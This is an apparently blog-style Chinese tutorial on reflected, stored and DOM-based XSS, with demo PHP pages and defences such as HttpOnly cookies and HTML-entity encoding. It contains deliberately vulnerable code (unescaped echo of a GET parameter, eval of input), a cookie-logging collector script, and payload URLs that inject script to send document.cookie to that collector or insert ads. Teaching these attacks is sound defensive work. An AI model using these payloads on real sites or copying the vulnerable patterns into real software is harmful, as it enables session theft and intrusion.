本文主要内容有两点:
1. xss常见的有三种攻击方式:反射型、存储型、DOM型。
2. xss攻击的危害性和防御措施
反射型
非持久型。发生请求时,xss代码作为参数提交到server,server解析并返回结果,response中包含了用户传入的参数(含有xss代码),浏览器解析此response并渲染到页面上,就中招啦。
例:
http://127.0.0.1:8080/index.php?visitor=balbala
若server读取get参数,将页面重定向到index-2.php,并将visitor参数的值直接显示在页面上。攻击者可以捣乱、流量劫持、可以偷取用户cookie发送到xss-home.php地址、可以在页面放广告,三个文件示例代码如下:
index.php
<?php
session_start();
$_SESSION['xss']['visitor'] = $_GET['visitor'];
header("Location:http://127.0.0.1:8080/index-2.php");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>初始页</title>
</head>
<body>
初始页
</body>
</html>
index-2.php
<?php
session_start();
$visitor = $_SESSION['xss']['visitor'];
function showVisitor() {
echo $_SESSION['xss']['visitor'];
}
?>
<!DOCTYPE html>
<html>
<head>
<title>show visitor</title>
</head>
<body>
用户是:
<?php
showVisitor();
?>
</body>
</html>
xss-home.php
<?php
$h = fopen('./info.log', 'a');
fwrite($h, json_encode($_GET));
fclose($h);
?>
- 地址栏输入如下地址,则本地cookie被alert出来(将alert改成 window.open('xxxx.com')把用户导到另一个网站,就是流量劫持了):
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">alert(document.cookie);</script>
- 地址栏输入如下地址则本地cookie被静默发送到攻击者目标网址http://127.0.0.1:8080/xss-home.php,用户本地的鉴权参数被攻击者获取到了。(本测试例子在firefox中测试可以获取到用户cookie,在chrome中被浏览器拦截了没有获取到,chrome的告警如下图。应该与浏览器的安全设置有关,没有细究)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('script');metaEl.setAttribute('src','http://127.0.0.1:8080/xss-home.php?'+document.cookie);if(document.documentElement.firstElementChild){document.documentElement.firstElementChild.appendChild(metaEl);}else{var wrap = document.createElement('div');wrap.appendChild(metaEl);document.write(wrap.innerHTML);}</script>
chrome拦截跨站脚本攻击并告警
- 页面右上角放狗粮广告啦(这段可以直接把放图片的代码写成一个js文件,url后的js内容 改为插入一个script标签,地址为js文件的地址)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('img');metaEl.setAttribute('src','https://img.haomeiwen.com/i12190143/c431f037468e0460.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240');metaEl.setAttribute('style','height:200px; width:100px; position:fixed; right:30px;top:30px;');var wrap = document.getElementsByTagName('body')[0];wrap.appendChild(metaEl);</script>
狗粮广告
存储型(持久型)
如用户评论、用户反馈等,被后台存储到数据库,未经任何处理展示到前端页面。攻击脚本与反射型类似,可以偷取到其他用户的信息甚至后台管理员的信息。
(此处很多人说需要经过html实体编码再存入数据库,我认为存入过程只需考虑防注入,web展示时对用户来源的内容进行html实体编码再展示。这样可以兼容不同的信息来源,如app客户端也可以提交内容,app客户端的展示也需有其自己的防范处理)
Dom型
与以上两种类型都不同,不需要server端的参与,都在client端。利用页面js代码的漏洞。如js中使用了eval
例:以下测试代码呈现的html页面,若在输入框中输入dd");console.log(document.cookie);console.log("
,就会打印页面的cookie。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<input type="text" name="your_name">
<button>点点点</button>
</body>
<script type="text/javascript">
var btn = document.getElementsByTagName('button')[0];
var inputElem = document.getElementsByName('your_name')[0];
btn.addEventListener('click', function() {
var evalStr = 'alert("你的名字是:'+inputElem.value+'");';
window.eval(evalStr);
});
</script>
</html>
xss的危害
- 盗取用户的cookie;
- 扰乱页面 、破坏页面样式等;
- 流量劫持;
4. Dos攻击(分布式拒绝服务攻击):利用合理的客户端请求来占用过多的服务器资源,使合法用户无法得到服务器响应
5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些东西(加关注、发私信、加收藏等);
6. 利用可被攻击的域受其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行投票活动
防御措施
- cookie设置HttpOnly属性为true,即只有后台可以操作cookie,client不能操作也不能读取;
2.过滤用户输入的数据, - 对需要呈现到页面上的用户来源的内容进行html实体编码后再渲染
网友评论